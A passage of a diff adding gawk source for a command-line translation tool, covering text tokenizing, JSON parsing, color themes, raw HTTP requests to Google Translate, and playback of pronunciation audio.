+if (cols[j][i]) {
+t1 = getName(cols[j][i])
+if (length(t1) > 15)
+t1 = substr(t1, 1, 12) "..."
+t1 = sprintf(" %-15s", t1)
+switch (length(cols[j][i])) {
+case 1: case 2: case 3: case 4:
+t2 = sprintf("- %s │", ansi("bold", sprintf("%4s", cols[j][i])))
+break
+case 5:
+t2 = sprintf("- %s│", ansi("bold", cols[j][i]))
+break
+case 6:
+t2 = sprintf("-%s│", ansi("bold", cols[j][i]))
+break
+case 7:
+t2 = sprintf("-%s", ansi("bold", cols[j][i]))
+break
+default:
+t2 = ansi("bold", cols[j][i])
+}
+r = r t1 t2
+} else
+r = r sprintf("%23s│", NULLSTR)
+}
+r = r RS
+}
+r = r "└" replicate("─", 23) "┴" replicate("─", 23) "┴" replicate("─", 23) "┘"
+}
+return r
+}
+function getList(codes,    code, i, r, saveSortedIn) {
+r = NULLSTR
+if (!isarray(codes))
+r = getDetails(codes)
+else if (anything(codes)) {
+saveSortedIn = PROCINFO["sorted_in"]
+PROCINFO["sorted_in"] = "@ind_num_asc"
+for (i in codes)
+r = (r ? r RS prettify("target-seperator", replicate(Option["chr-target-seperator"], Option["width"])) RS\
+: r) getDetails(codes[i])
+PROCINFO["sorted_in"] = saveSortedIn
+} else
+r = getDetails(Option["hl"])
+return r
+}
+function tokenize(returnTokens, string,
+delimiters,
+newlines,
+quotes,
+escapeChars,
+leftBlockComments,
+rightBlockComments,
+lineComments,
+reservedOperators,
+reservedPatterns,
+blockCommenting,
+c,
+currentToken,
+escaping,
+i,
+lineCommenting,
+p,
+quoting,
+r,
+s,
+tempGroup,
+tempPattern,
+tempString) {
+if (!delimiters[0]) {
+delimiters[0] = " "
+delimiters[1] = "\t"
+delimiters[2] = "\v"
+}
+if (!newlines[0]) {
+newlines[0] = "\n"
+newlines[1] = "\r"
+}
+if (!quotes[0]) {
+quotes[0] = "\""
+}
+if (!escapeChars[0]) {
+escapeChars[0] = "\\"
+}
+if (!leftBlockComments[0]) {
+leftBlockComments[0] = "#|"
+leftBlockComments[1] = "/*"
+leftBlockComments[2] = "(*"
+}
+if (!rightBlockComments[0]) {
+rightBlockComments[0] = "|#"
+rightBlockComments[1] = "*/"
+rightBlockComments[2] = "*)"
+}
+if (!lineComments[0]) {
+lineComments[0] = ";"
+lineComments[1] = "//"
+lineComments[2] = "#"
+}
+if (!reservedOperators[0]) {
+reservedOperators[0] = "("
+reservedOperators[1] = ")"
+reservedOperators[2] = "["
+reservedOperators[3] = "]"
+reservedOperators[4] = "{"
+reservedOperators[5] = "}"
+reservedOperators[6] = ","
+}
+if (!reservedPatterns[0]) {
+reservedPatterns[0] = "[+-]?((0|[1-9][0-9]*)|[.][0-9]*|(0|[1-9][0-9]*)[.][0-9]*)([Ee][+-]?[0-9]+)?"
+reservedPatterns[1] = "[+-]?0[0-7]+([.][0-7]*)?"
+reservedPatterns[2] = "[+-]?0[Xx][0-9A-Fa-f]+([.][0-9A-Fa-f]*)?"
+}
+split(string, s, "")
+currentToken = ""
+quoting = escaping = blockCommenting = lineCommenting = 0
+p = 0
+i = 1
+while (i <= length(s)) {
+c = s[i]
+r = substr(string, i)
+if (blockCommenting) {
+if (tempString = startsWithAny(r, rightBlockComments))
+blockCommenting = 0
+i++
+} else if (lineCommenting) {
+if (belongsTo(c, newlines))
+lineCommenting = 0
+i++
+} else if (quoting) {
+currentToken = currentToken c
+if (escaping) {
+escaping = 0
+} else {
+if (belongsTo(c, quotes)) {
+if (currentToken) {
+returnTokens[p++] = currentToken
+currentToken = ""
+}
+quoting = 0
+} else if (belongsTo(c, escapeChars)) {
+escaping = 1
+} else {
+}
+}
+i++
+} else {
+if (belongsTo(c, delimiters) || belongsTo(c, newlines)) {
+if (currentToken) {
+returnTokens[p++] = currentToken
+currentToken = ""
+}
+i++
+} else if (belongsTo(c, quotes)) {
+if (currentToken) {
+returnTokens[p++] = currentToken
+}
+currentToken = c
+quoting = 1
+i++
+} else if (tempString = startsWithAny(r, leftBlockComments)) {
+if (currentToken) {
+returnTokens[p++] = currentToken
+currentToken = ""
+}
+blockCommenting = 1
+i += length(tempString)
+} else if (tempString = startsWithAny(r, lineComments)) {
+if (currentToken) {
+returnTokens[p++] = currentToken
+currentToken = ""
+}
+lineCommenting = 1
+i += length(tempString)
+} else if (tempString = startsWithAny(r, reservedOperators)) {
+if (currentToken) {
+returnTokens[p++] = currentToken
+currentToken = ""
+}
+returnTokens[p++] = tempString
+i += length(tempString)
+} else if (tempPattern = matchesAny(r, reservedPatterns)) {
+if (currentToken) {
+returnTokens[p++] = currentToken
+currentToken = ""
+}
+match(r, "^" tempPattern, tempGroup)
+returnTokens[p++] = tempGroup[0]
+i += length(tempGroup[0])
+} else {
+currentToken = currentToken c
+i++
+}
+}
+}
+if (currentToken)
+returnTokens[p++] = currentToken
+}
+function parseJsonArray(returnAST, tokens,
+leftBrackets,
+rightBrackets,
+separators,
+i, j, key, p, stack, token) {
+if (!leftBrackets[0]) {
+leftBrackets[0] = "("
+leftBrackets[1] = "["
+leftBrackets[2] = "{"
+}
+if (!rightBrackets[0]) {
+rightBrackets[0] = ")"
+rightBrackets[1] = "]"
+rightBrackets[2] = "}"
+}
+if (!separators[0]) {
+separators[0] = ","
+}
+stack[p = 0] = 0
+for (i = 0; i < length(tokens); i++) {
+token = tokens[i]
+if (belongsTo(token, leftBrackets))
+stack[++p] = 0
+else if (belongsTo(token, rightBrackets))
+--p
+else if (belongsTo(token, separators))
+stack[p]++
+else {
+key = stack[0]
+for (j = 1; j <= p; j++)
+key = key SUBSEP stack[j]
+returnAST[key] = token
+}
+}
+}
+function parseJson(returnAST, tokens,
+arrayStartTokens, arrayEndTokens,
+objectStartTokens, objectEndTokens,
+commas, colons,
+flag, i, j, key, name, p, stack, token) {
+if (!arrayStartTokens[0])  arrayStartTokens[0]  = "["
+if (!arrayEndTokens[0])    arrayEndTokens[0]    = "]"
+if (!objectStartTokens[0]) objectStartTokens[0] = "{"
+if (!objectEndTokens[0])   objectEndTokens[0]   = "}"
+if (!commas[0])            commas[0]            = ","
+if (!colons[0])            colons[0]            = ":"
+stack[p = 0] = 0
+flag = 0
+for (i = 0; i < length(tokens); i++) {
+token = tokens[i]
+if (belongsTo(token, arrayStartTokens)) {
+stack[++p] = 0
+} else if (belongsTo(token, objectStartTokens)) {
+stack[++p] = NULLSTR
+flag = 0
+} else if (belongsTo(token, objectEndTokens) ||
+belongsTo(token, arrayEndTokens)) {
+--p
+} else if (belongsTo(token, commas)) {
+if (isnum(stack[p]))
+stack[p]++
+else
+flag = 0
+} else if (belongsTo(token, colons)) {
+flag = 1
+} else if (isnum(stack[p]) || flag) {
+key = stack[0]
+for (j = 1; j <= p; j++)
+key = key SUBSEP stack[j]
+returnAST[key] = token
+flag = 0
+} else {
+stack[p] = unparameterize(token)
+}
+}
+}
+function parseList(returnAST, tokens,
+leftBrackets,
+rightBrackets,
+separators,
+i, j, key, p, stack, token) {
+if (!leftBrackets[0]) {
+leftBrackets[0] = "("
+leftBrackets[1] = "["
+leftBrackets[2] = "{"
+}
+if (!rightBrackets[0]) {
+rightBrackets[0] = ")"
+rightBrackets[1] = "]"
+rightBrackets[2] = "}"
+}
+if (!separators[0]) {
+separators[0] = ","
+}
+stack[p = 0] = 0
+for (i = 0; i < length(tokens); i++) {
+token = tokens[i]
+if (belongsTo(token, leftBrackets)) {
+stack[++p] = 0
+} else if (belongsTo(token, rightBrackets)) {
+stack[--p]++
+} else if (belongsTo(token, separators)) {
+} else {
+key = NULLSTR
+if (p > 0) {
+for (j = 0; j < p - 1; j++)
+key = key SUBSEP stack[j]
+returnAST[key][stack[p - 1]] = NULLSTR
+key = key SUBSEP stack[p - 1]
+}
+returnAST[key][stack[p]] = token
+stack[p]++
+}
+}
+}
+function prettify(name, string,    i, temp) {
+temp = string
+if ("sgr-" name in Option)
+if (isarray(Option["sgr-" name]))
+for (i in Option["sgr-" name])
+temp = ansi(Option["sgr-" name][i], temp)
+else
+temp = ansi(Option["sgr-" name], temp)
+return temp
+}
+function randomColor(    i) {
+i = int(5 * rand())
+switch (i) {
+case 0: return "green"
+case 1: return "yellow"
+case 2: return "blue"
+case 3: return "magenta"
+case 4: return "cyan"
+default: return "default"
+}
+}
+function setRandomTheme(    i, n, temp) {
+srand(systime())
+for (i = 0; i < 3; i++) {
+do temp = randomColor(); while (belongsTo(temp, n))
+n[i] = temp
+}
+Option["sgr-prompt-message"] = Option["sgr-languages"] = n[0]
+Option["sgr-original-dictionary-detailed-word-class"][1] = n[0]
+Option["sgr-original-dictionary-detailed-word-class"][2] = "bold"
+Option["sgr-original-dictionary-synonyms"] = n[0]
+Option["sgr-original-dictionary-synonyms-word-class"][1] = n[0]
+Option["sgr-original-dictionary-synonyms-word-class"][2] = "bold"
+Option["sgr-original-dictionary-examples"] = n[0]
+Option["sgr-original-dictionary-see-also"] = n[0]
+Option["sgr-dictionary-word-class"][1] = n[0]
+Option["sgr-dictionary-word-class"][2] = "bold"
+Option["sgr-original"][1] = Option["sgr-original-phonetics"][1] = n[1]
+Option["sgr-original"][2] = Option["sgr-original-phonetics"][2] = "bold"
+Option["sgr-prompt-message-original"][1] = n[1]
+Option["sgr-prompt-message-original"][2] = "bold"
+Option["sgr-languages-sl"] = n[1]
+Option["sgr-original-dictionary-detailed-explanation"][1] = n[1]
+Option["sgr-original-dictionary-detailed-explanation"][2] = "bold"
+Option["sgr-original-dictionary-detailed-example"] = n[1]
+Option["sgr-original-dictionary-detailed-synonyms"] = n[1]
+Option["sgr-original-dictionary-detailed-synonyms-item"][1] = n[1]
+Option["sgr-original-dictionary-detailed-synonyms-item"][2] = "bold"
+Option["sgr-original-dictionary-synonyms-synonyms"] = n[1]
+Option["sgr-original-dictionary-synonyms-synonyms-item"][1] = n[1]
+Option["sgr-original-dictionary-synonyms-synonyms-item"][2] = "bold"
+Option["sgr-original-dictionary-examples-example"] = n[1]
+Option["sgr-original-dictionary-examples-original"][1] = n[1]
+Option["sgr-original-dictionary-examples-original"][2] = "bold"
+Option["sgr-original-dictionary-examples-original"][3] = "underline"
+Option["sgr-original-dictionary-see-also-phrases"] = n[1]
+Option["sgr-original-dictionary-see-also-phrases-item"][1] = n[1]
+Option["sgr-original-dictionary-see-also-phrases-item"][2] = "bold"
+Option["sgr-dictionary-explanation"] = n[1]
+Option["sgr-dictionary-explanation-item"][1] = n[1]
+Option["sgr-dictionary-explanation-item"][2] = "bold"
+Option["sgr-alternatives-original"][1] = n[1]
+Option["sgr-alternatives-original"][2] = "bold"
+Option["sgr-translation"][1] = Option["sgr-translation-phonetics"][1] = n[2]
+Option["sgr-translation"][2] = Option["sgr-translation-phonetics"][2] = "bold"
+Option["sgr-languages-tl"] = n[2]
+Option["sgr-dictionary-word"][1] = n[2]
+Option["sgr-dictionary-word"][2] = "bold"
+Option["sgr-alternatives-translations"] = n[2]
+Option["sgr-alternatives-translations-item"][1] = n[2]
+Option["sgr-alternatives-translations-item"][2] = "bold"
+Option["sgr-brief-translation"][1] = Option["sgr-brief-translation-phonetics"][1] = n[2]
+Option["sgr-brief-translation"][2] = Option["sgr-brief-translation-phonetics"][2] = "bold"
+Option["fmt-welcome-message"] = Name
+Option["sgr-welcome-message"][1] = n[0]
+Option["sgr-welcome-message"][2] = "bold"
+Option["fmt-welcome-submessage"] = "(:q to quit)"
+Option["sgr-welcome-submessage"] = n[0]
+Option["fmt-prompt"] = "%s> "
+Option["sgr-prompt"][1] = n[1]
+Option["sgr-prompt"][2] = "bold"
+}
+function setDefaultTheme() {
+Option["sgr-translation"] = Option["sgr-translation-phonetics"] = "bold"
+Option["sgr-prompt-message-original"] = "underline"
+Option["sgr-languages-sl"] = "underline"
+Option["sgr-languages-tl"] = "bold"
+Option["sgr-original-dictionary-detailed-explanation"] = "bold"
+Option["sgr-original-dictionary-detailed-synonyms-item"] = "bold"
+Option["sgr-original-dictionary-synonyms-synonyms-item"] = "bold"
+Option["sgr-original-dictionary-examples-original"][1] = "bold"
+Option["sgr-original-dictionary-examples-original"][2] = "underline"
+Option["sgr-original-dictionary-see-also-phrases-item"] = "bold"
+Option["sgr-dictionary-word"] = "bold"
+Option["sgr-alternatives-original"] = "underline"
+Option["sgr-alternatives-translations-item"] = "bold"
+Option["fmt-welcome-message"] = Name
+Option["sgr-welcome-message"] = "bold"
+Option["fmt-welcome-submessage"] = "(:q to quit)"
+Option["fmt-prompt"] = "%s> "
+Option["sgr-prompt"] = "bold"
+}
+function setTheme(    file, line, script) {
+if (Option["theme"] && Option["theme"] != "default"\
+&& Option["theme"] != "none" && Option["theme"] != "random") {
+file = Option["theme"]
+if (!fileExists(file)) {
+file = ENVIRON["HOME"] "/.translate-shell/" Option["theme"]
+if (!fileExists(file)) {
+file = ENVIRON["HOME"] "/.config/translate-shell/" Option["theme"]
+if (!fileExists(file)) return
+}
+}
+}
+if (file && fileExists(file)) {
+script = NULLSTR
+while (getline line < file)
+script = script "\n" line
+loadOptions(script)
+} else if (Option["theme"] == "none")
+;
+else if (Option["theme"] == "random")
+setRandomTheme()
+else
+setDefaultTheme()
+}
+function provides(engineName) {
+Translator[tolower(engineName)] = TRUE
+}
+function engineMethod(methodName,    engine, translator) {
+if (!Translator[Option["engine"]]) {
+engine = tolower(Option["engine"])
+if (!Translator[engine])
+for (translator in Translator)
+if (Translator[translator] &&
+translator ~ "^"engine) {
+engine = translator
+break
+}
+if (!Translator[engine]) {
+e("[ERROR] Translator not found: " Option["engine"] "\n"\
+"        Run '-list-engines / -S' to see a list of available engines.")
+exit 1
+}
+Option["engine"] = engine
+}
+return Option["engine"] methodName
+}
+function initAudioPlayer() {
+AudioPlayer = !system("mpv" SUPOUT SUPERR) ?
+"mpv --loop-file=no" :
+(!system("mplayer" SUPOUT SUPERR) ?
+"mplayer" :
+(!system("mpg123 --version" SUPOUT SUPERR) ?
+"mpg123" :
+""))
+}
+function initSpeechSynthesizer() {
+SpeechSynthesizer = !system("say ''" SUPOUT SUPERR) ?
+"say" :
+(!system("espeak ''" SUPOUT SUPERR) ?
+"espeak" :
+"")
+}
+function initPager() {
+Pager = !system("less -V" SUPOUT SUPERR) ?
+"less" :
+(!system("more -V" SUPOUT SUPERR) ?
+"more" :
+(!system("most" SUPOUT SUPERR) ?
+"most" :
+""))
+}
+function initHttpService() {
+_Init()
+if (Option["proxy"]) {
+match(Option["proxy"], /^(http:\/*)?(([^:]+):([^@]+)@)?([^\/]*):([^\/:]*)/, HttpProxySpec)
+HttpAuthUser = HttpProxySpec[3]
+HttpAuthPass = HttpProxySpec[4]
+HttpAuthCredentials = base64(unquote(HttpAuthUser) ":" HttpAuthPass)
+HttpService = "/inet/tcp/0/" HttpProxySpec[5] "/" HttpProxySpec[6]
+HttpPathPrefix = HttpProtocol HttpHost
+} else {
+HttpService = "/inet/tcp/0/" HttpHost "/" HttpPort
+HttpPathPrefix = ""
+}
+}
+function preprocess(text) {
+return quote(text)
+}
+function postprocess(text) {
+text = gensub(/ ([.,;:?!"])/, "\\1", "g", text)
+text = gensub(/(["]) /, "\\1", "g", text)
+return text
+}
+function getResponse(text, sl, tl, hl,
+content, header, isBody, url, group, status, location) {
+url = _RequestUrl(text, sl, tl, hl)
+header = "GET " url " HTTP/1.1\r\n"\
+"Host: " HttpHost "\r\n"\
+"Connection: close\r\n"
+if (Option["user-agent"])
+header = header "User-Agent: " Option["user-agent"] "\r\n"
+if (Cookie)
+header = header "Cookie: " Cookie "\r\n"
+if (HttpAuthUser && HttpAuthPass)
+header = header "Proxy-Authorization: Basic " HttpAuthCredentials "\r\n"
+content = NULLSTR; isBody = 0
+print header |& HttpService
+while ((HttpService |& getline) > 0) {
+if (isBody)
+content = content ? content "\r\n" $0 : $0
+else if (length($0) <= 1)
+isBody = 1
+else {
+match($0, /^HTTP[^ ]* ([^ ]*)/, group)
+if (RSTART) status = group[1]
+match($0, /^Location: (.*)/, group)
+if (RSTART) location = squeeze(group[1])
+}
+l(sprintf("%4s bytes > %s", length($0), $0))
+}
+close(HttpService)
+if ((status == "301" || status == "302") && location)
+content = curl(location)
+return assert(content, "[ERROR] Null response.")
+}
+function postResponse(text, sl, tl, hl, type,
+content, contentLength, contentType, group,
+header, isBody, reqBody, url, status, location) {
+url = _PostRequestUrl(text, sl, tl, hl, type)
+contentType = _PostRequestContentType(text, sl, tl, hl, type)
+reqBody = _PostRequestBody(text, sl, tl, hl, type)
+if (DumpContentengths[reqBody])
+contentLength = DumpContentengths[reqBody]
+else
+contentLength = DumpContentengths[reqBody] = dump(reqBody, group)
+header = "POST " url " HTTP/1.1\r\n"\
+"Host: " HttpHost "\r\n"\
+"Connection: close\r\n"\
+"Content-Length: " contentLength "\r\n"\
+"Content-Type: " contentType "\r\n"
+if (Option["user-agent"])
+header = header "User-Agent: " Option["user-agent"] "\r\n"
+if (Cookie)
+header = header "Cookie: " Cookie "\r\n"
+if (HttpAuthUser && HttpAuthPass)
+header = header "Proxy-Authorization: Basic " HttpAuthCredentials "\r\n"
+content = NULLSTR; isBody = 0
+print (header "\r\n" reqBody) |& HttpService
+while ((HttpService |& getline) > 0) {
+if (isBody)
+content = content ? content "\r\n" $0 : $0
+else if (length($0) <= 1)
+isBody = 1
+else {
+match($0, /^HTTP[^ ]* ([^ ]*)/, group)
+if (RSTART) status = group[1]
+match($0, /^Location: (.*)/, group)
+if (RSTART) location = squeeze(group[1])
+}
+l(sprintf("%4s bytes > %s", length($0), $0))
+}
+close(HttpService)
+if (status == "404") {
+e("[ERROR] 404 Not Found")
+exit 1
+}
+if ((status == "301" || status == "302") && location) {
+url = "https" substr(url, 5)
+content = curlPost(url, reqBody)
+}
+return content
+}
+function p(string) {
+if (Option["view"])
+print string | Option["pager"]
+else
+print string > Option["output"]
+}
+function play(text, tl,    url) {
+url = _TTSUrl(text, tl)
+system(Option["player"] " " parameterize(url) SUPOUT SUPERR)
+}
+function download_audio(text, tl,    url, output) {
+url = _TTSUrl(text, tl)
+if (Option["download-audio-as"])
+output = Option["download-audio-as"]
+else
+output = text " [" Option["engine"] "] (" Option["narrator"] ").ts"
+if (url ~ /^\//)
+system("mv -- " parameterize(url) " " parameterize(output))
+else
+curl(url, output)
+}
+function getTranslation(text, sl, tl, hl,
+isVerbose, toSpeech, returnPlaylist, returnIl) {
+return _Translate(text, sl, tl, hl,
+isVerbose, toSpeech, returnPlaylist, returnIl)
+}
+function fileTranslation(uri,    group, temp1, temp2) {
+temp1 = Option["input"]
+temp2 = Option["verbose"]
+match(uri, /^file:\/\/(.*)/, group)
+Option["input"] = group[1]
+Option["verbose"] = 0
+translateMain()
+Option["input"] = temp1
+Option["verbose"] = temp2
+}
+function webTranslation(uri, sl, tl, hl) {
+system(Option["browser"] " "\
+parameterize(_WebTranslateUrl(uri, sl, tl, hl)) "&")
+}
+function translate(text, inline,
+i, j, playlist, il, saveSortedIn) {
+if (!getCode(Option["hl"])) {
+w("[WARNING] Unknown language code: " Option["hl"] ", fallback to English: en")
+Option["hl"] = "en"
+} else if (isRTL(Option["hl"])) {
+if (!FriBidi)
+w("[WARNING] " getName(Option["hl"]) " is a right-to-left language, but FriBidi is not found.")
+}
+if (!getCode(Option["sl"])) {
+w("[WARNING] Unknown source language code: " Option["sl"])
+} else if (isRTL(Option["sl"])) {
+if (!FriBidi)
+w("[WARNING] " getName(Option["sl"]) " is a right-to-left language, but FriBidi is not found.")
+}
+saveSortedIn = PROCINFO["sorted_in"]
+PROCINFO["sorted_in"] = "@ind_num_asc"
+for (i in Option["tl"]) {
+if (!Option["interactive"])
+if (Option["verbose"] && i > 1)
+p(prettify("target-seperator", replicate(Option["chr-target-seperator"], Option["width"])))
+if (inline &&
+startsWithAny(text, UriSchemes) == "file://") {
+fileTranslation(text)
+} else if (inline &&
+startsWithAny(text, UriSchemes) == "http://" ||
+startsWithAny(text, UriSchemes) == "https://") {
+webTranslation(text, Option["sl"], Option["tl"][i], Option["hl"])
+} else {
+if (!Option["no-translate"])
+p(getTranslation(text, Option["sl"], Option["tl"][i], Option["hl"], Option["verbose"], Option["play"] || Option["download-audio"], playlist, il))
+else
+il[0] = Option["sl"] == "auto" ? "en" : Option["sl"]
+if (Option["play"] == 1) {
+if (Option["player"])
+for (j in playlist)
+play(playlist[j]["text"], playlist[j]["tl"])
+else if (SpeechSynthesizer)
+for (j in playlist)
+print playlist[j]["text"] | SpeechSynthesizer
+} else if (Option["play"] == 2) {
+if (Option["player"])
+play(text, il[0])
+else if (SpeechSynthesizer)
+print text | SpeechSynthesizer
+}
+if (Option["download-audio"] == 1) {
+if (Option["play"] != 2 && !Option["no-translate"])
+download_audio(playlist[length(playlist) - 1]["text"],\
+playlist[length(playlist) - 1]["tl"])
+else
+download_audio(text, il[0])
+}
+}
+}
+PROCINFO["sorted_in"] = saveSortedIn
+}
+function translateMain(    i, line) {
+if (Option["interactive"])
+prompt()
+if (Option["input"] == STDIN || fileExists(Option["input"])) {
+i = 0
+while (getline line < Option["input"])
+if (line) {
+if (!Option["interactive"])
+if (Option["verbose"] && i++ > 0)
+p(prettify("source-seperator",
+replicate(Option["chr-source-seperator"],
+Option["width"])))
+if (Option["interactive"])
+repl(line)
+else
+translate(line)
+} else {
+if (!Option["interactive"])
+if (!Option["verbose"])
+p(line)
+}
+} else
+e("[ERROR] File not found: " Option["input"])
+}
+function _Init(    vm) {
+vm = engineMethod("Init")
+return @vm()
+}
+function _RequestUrl(text, sl, tl, hl,    vm) {
+vm = engineMethod("RequestUrl")
+return @vm(text, sl, tl, hl)
+}
+function _PostRequestUrl(text, sl, tl, hl, type,    vm) {
+vm = engineMethod("PostRequestUrl")
+return @vm(text, sl, tl, hl, type)
+}
+function _PostRequestContentType(text, sl, tl, hl, type,    vm) {
+vm = engineMethod("PostRequestContentType")
+return @vm(text, sl, tl, hl, type)
+}
+function _PostRequestBody(text, sl, tl, hl, type,    vm) {
+vm = engineMethod("PostRequestBody")
+return @vm(text, sl, tl, hl, type)
+}
+function _TTSUrl(text, tl,    vm) {
+vm = engineMethod("TTSUrl")
+return @vm(text, tl)
+}
+function _WebTranslateUrl(uri, sl, tl, hl,    vm) {
+vm = engineMethod("WebTranslateUrl")
+return @vm(uri, sl, tl, hl)
+}
+function _Translate(text, sl, tl, hl,
+isVerbose, toSpeech, returnPlaylist, returnIl,
+vm) {
+vm = engineMethod("Translate")
+return @vm(text, sl, tl, hl,
+isVerbose, toSpeech, returnPlaylist, returnIl)
+}
+BEGIN { provides("google") }
+function genRL(a, x,
+b, c, d, i, y) {
+tokenize(y, x)
+parseList(b, y)
+i = SUBSEP 0
+for (c = 0; c < length(b[i]) - 2; c += 3) {
+d = b[i][c + 2]
+d = d >= 97 ? d - 87 :
+d - 48
+d = b[i][c + 1] == 43 ? rshift(a, d) : lshift(a, d)
+a = b[i][c] == 43 ? and(a + d, 4294967295) : xor(a, d)
+}
+return a
+}
+function genTK(text,
+a, d, dLen, e, tkk, ub, vb) {
+if (TK[text]) return TK[text]
+tkk = systime() / 3600
+ub = "[43,45,51,94,43,98,43,45,102]"
+vb = "[43,45,97,94,43,54]"
+dLen = dump(text, d)
+a = tkk
+for (e = 1; e <= dLen; e++)
+a = genRL(a + d[e], vb)
+a = genRL(a, ub)
+0 > a && (a = and(a, 2147483647) + 2147483648)
+a %= 1e6
+TK[text] = a "." xor(a, tkk)
+l(text, "text")
+l(tkk, "tkk")
+l(TK[text], "tk")
+return TK[text]
+}
+function googleInit() {
+HttpProtocol = "http://"
+HttpHost = "translate.googleapis.com"
+HttpPort = 80
+}
+function googleRequestUrl(text, sl, tl, hl,    qc) {
+qc = Option["no-autocorrect"] ? "qc" : "qca";
+return HttpPathPrefix "/translate_a/single?client=gtx"\
+"&ie=UTF-8&oe=UTF-8"\
+"&dt=bd&dt=ex&dt=ld&dt=md&dt=rw&dt=rm&dt=ss&dt=t&dt=at"\
+"&dt=" qc "&sl=" sl "&tl=" tl "&hl=" hl\
+"&q=" preprocess(text)
+}
+function googleTTSUrl(text, tl) {
+return HttpProtocol HttpHost "/translate_tts?ie=UTF-8&client=gtx"\
+"&tl=" tl "&q=" preprocess(text)
+}
+function googleWebTranslateUrl(uri, sl, tl, hl) {
+return "https://translate.google.com/translate?"\
+"hl=" hl "&sl=" sl "&tl=" tl "&u=" uri
+}
+function googleTranslate(text, sl, tl, hl,
+isVerbose, toSpeech, returnPlaylist, returnIl,
+r,
+content, tokens, ast,
+_sl, _tl, _hl, il, ils, isPhonetic,
+article, example, explanation, ref, word,
+translation, translations, phonetics,
+wordClasses, words, segments, altTranslations,
+original, oPhonetics, oWordClasses, oWords,
+oRefs, oSynonymClasses, oSynonyms,
+oExamples, oSeeAlso,
+wShowOriginal, wShowOriginalPhonetics,
+wShowTranslation, wShowTranslationPhonetics,
+wShowPromptMessage, wShowLanguages,
+wShowOriginalDictionary, wShowDictionary,
+wShowAlternatives,
+hasWordClasses, hasAltTranslations,
+i, j, k, group, temp, saveSortedIn) {
+isPhonetic = match(tl, /^@/)
+tl = substr(tl, 1 + isPhonetic)
+if (!getCode(tl)) {
+w("[WARNING] Unknown target language code: " tl)
+} else if (isRTL(tl)) {
+if (!FriBidi)
+w("[WARNING] " getName(tl) " is a right-to-left language, but FriBidi is not found.")
+}
+_sl = getCode(sl); if (!_sl) _sl = sl
+_tl = getCode(tl); if (!_tl) _tl = tl
+_hl = getCode(hl); if (!_hl) _hl = hl
+content = getResponse(text, _sl, _tl, _hl)
+if (Option["dump"])
+return content
+tokenize(tokens, content)
+parseJsonArray(ast, tokens)
+l(content, "content", 1, 1)
+l(tokens, "tokens", 1, 0, 1)
+l(ast, "ast")
+if (!isarray(ast) || !anything(ast)) {
+e("[ERROR] Oops! Something went wrong and I can't translate it for you :(")
+ExitCode = 1
+return
+}
+saveSortedIn = PROCINFO["sorted_in"]
+PROCINFO["sorted_in"] = "compareByIndexFields"
+for (i in ast) {
+if (ast[i] == "null") continue
+if (i ~ "^0" SUBSEP "0" SUBSEP "[[:digit:]]+" SUBSEP "0$")
+append(translations, literal(ast[i]))
+if (i ~ "^0" SUBSEP "0" SUBSEP "[[:digit:]]+" SUBSEP "1$")
+append(original, literal(ast[i]))
+if (i ~ "^0" SUBSEP "0" SUBSEP "[[:digit:]]+" SUBSEP "2$")
+append(phonetics, literal(ast[i]))
+if (i ~ "^0" SUBSEP "0" SUBSEP "[[:digit:]]+" SUBSEP "3$")
+append(oPhonetics, literal(ast[i]))
+if (match(i, "^0" SUBSEP "1" SUBSEP "([[:digit:]]+)" SUBSEP "0$", group))
+wordClasses[group[1]] = literal(ast[i])
+if (match(i, "^0" SUBSEP "1" SUBSEP "([[:digit:]]+)" SUBSEP "2" SUBSEP "([[:digit:]]+)" SUBSEP "([[:digit:]]+)$", group))
+words[group[1]][group[2]][group[3]] = literal(ast[i])
+if (match(i, "^0" SUBSEP "1" SUBSEP "([[:digit:]]+)" SUBSEP "2" SUBSEP "([[:digit:]]+)" SUBSEP "1" SUBSEP "([[:digit:]]+)$", group))
+words[group[1]][group[2]]["1"][group[3]] = literal(ast[i])
+if (match(i, "^0" SUBSEP "5" SUBSEP "([[:digit:]]+)" SUBSEP "0$", group)) {
+segments[group[1]] = literal(ast[i])
+altTranslations[group[1]][0] = ""
+}
+if (match(i, "^0" SUBSEP "5" SUBSEP "([[:digit:]]+)" SUBSEP "2" SUBSEP "([[:digit:]]+)" SUBSEP "0$", group))
+altTranslations[group[1]][group[2]] = literal(ast[i])
+if (i ~ "^0" SUBSEP "7" SUBSEP "5$") {
+if (ast[i] == "true")
+w("Showing translation for:  (use -no-auto to disable autocorrect)")
+else
+w("Did you mean: "\
+ansi("bold", unparameterize(ast["0" SUBSEP "7" SUBSEP "1"])))
+}
+if (i ~ "^0" SUBSEP "8" SUBSEP "0" SUBSEP "[[:digit:]]+$" ||
+i ~ "^0" SUBSEP "2$")
+append(ils, literal(ast[i]))
+if (match(i, "^0" SUBSEP "11" SUBSEP "([[:digit:]]+)" SUBSEP "0$", group))
+oSynonymClasses[group[1]] = literal(ast[i])
+if (match(i, "^0" SUBSEP "11" SUBSEP "([[:digit:]]+)" SUBSEP "1" SUBSEP "([[:digit:]]+)" SUBSEP "1$", group))
+if (ast[i]) {
+oRefs[literal(ast[i])][1] = group[1]
+oRefs[literal(ast[i])][2] = group[2]
+}
+if (match(i, "^0" SUBSEP "11" SUBSEP "([[:digit:]]+)" SUBSEP "1" SUBSEP "([[:digit:]]+)" SUBSEP "0" SUBSEP "([[:digit:]]+)$", group))
+oSynonyms[group[1]][group[2]][group[3]] = literal(ast[i])
+if (match(i, "^0" SUBSEP "12" SUBSEP "([[:digit:]]+)" SUBSEP "0$", group))
+oWordClasses[group[1]] = literal(ast[i])
+if (match(i, "^0" SUBSEP "12" SUBSEP "([[:digit:]]+)" SUBSEP "1" SUBSEP "([[:digit:]]+)" SUBSEP "0$", group))
+oWords[group[1]][group[2]][0] = literal(ast[i])
+if (match(i, "^0" SUBSEP "12" SUBSEP "([[:digit:]]+)" SUBSEP "1" SUBSEP "([[:digit:]]+)" SUBSEP "1$", group))
+oWords[group[1]][group[2]][1] = literal(ast[i])
+if (match(i, "^0" SUBSEP "12" SUBSEP "([[:digit:]]+)" SUBSEP "1" SUBSEP "([[:digit:]]+)" SUBSEP "2$", group))
+oWords[group[1]][group[2]][2] = literal(ast[i])
+if (match(i, "^0" SUBSEP "13" SUBSEP "0" SUBSEP "([[:digit:]]+)" SUBSEP "0$", group))
+oExamples[group[1]] = literal(ast[i])
+if (match(i, "^0" SUBSEP "14" SUBSEP "0" SUBSEP "([[:digit:]]+)$", group))
+oSeeAlso[group[1]] = literal(ast[i])
+}
+PROCINFO["sorted_in"] = saveSortedIn
+translation = join(translations)
